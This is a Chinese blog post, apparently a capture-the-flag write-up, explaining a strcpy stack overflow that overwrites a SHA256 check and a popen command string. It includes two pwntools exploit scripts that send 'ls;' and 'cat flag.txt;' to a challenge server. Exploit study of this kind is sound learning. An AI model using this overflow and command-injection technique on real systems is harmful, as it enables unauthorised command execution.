Loading... <!-- wp:paragraph --> <p>这道题目我觉得应该算是逆向的题目,其实是一个简单的栈溢出,但是程序的逻辑不是很好懂,所以我也没有自己做出来,还是有些遗憾的。</p> <!-- /wp:paragraph --> <!-- wp:image {"id":749,"sizeSlug":"large"} --> <figure class="wp-block-image size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201206223117.png" alt="" class="wp-image-749"style=""></figure> <!-- /wp:image --> <!-- wp:paragraph --> <p>第一个框中的getline,对于指向0的指针,会自动malloc一个空间并且让lineptr指向这个空间。而且getline是读到'\n'为止的。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>第二个框中的strcpy,让我们有了栈溢出的机会。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>第个框是一个sha256生成函数</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":750,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201206223400.png" alt="" class="wp-image-750"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>在a2中存了a1指向的,以a3为长度的字符串的SHA256值。在主调函数的视角里就是在v16开始的这段空间里面存了从dest开始的长为0x100的字符串的SHA256值。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>而在此之后的循环了</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":751,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201206223620.png" alt="" class="wp-image-751"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>将v16开始的(这里把v16传值给了v4,让v4指向同一个地址,对v5也进行了同样的操作,v5指向的是v17指向的地址)的SHA256值转为十六进制存在了从v17开始的地址空间里。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":752,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201206223903.png" alt="" class="wp-image-752"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这里对v15开始的一段地址空间和v17开始的一段地址空间进行了比较,在相同时就可以通过popen执行v14中存的指令,并会执行后的输出存在v9中,并输出。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>所以我们先输入0x100个字符,并算出其SHA256值,转为十六进制,覆盖v15这段空间,并覆盖v14这段指令字符串,通过popen执行就可以拿flag了。</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * from hashlib import * context(log_level = 'debug') sh = remote("220.249.52.133","45738") payload = 'a'*0x100 + 'ls;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest() sh.sendline(payload) sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>先通过这个exp看一下服务器上有什么。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":753,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201206224348.png" alt="" class="wp-image-753"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>然后就可以拿flag了。</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * from hashlib import * context(log_level = 'debug') sh = remote("220.249.52.133","45738") payload = 'a'*0x100 + 'cat flag.txt;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest() sh.sendline(payload) sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这道题暴露了我不仔细分析程序就放弃的问题,应当在做题时更耐心一点。</p> <!-- /wp:paragraph --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧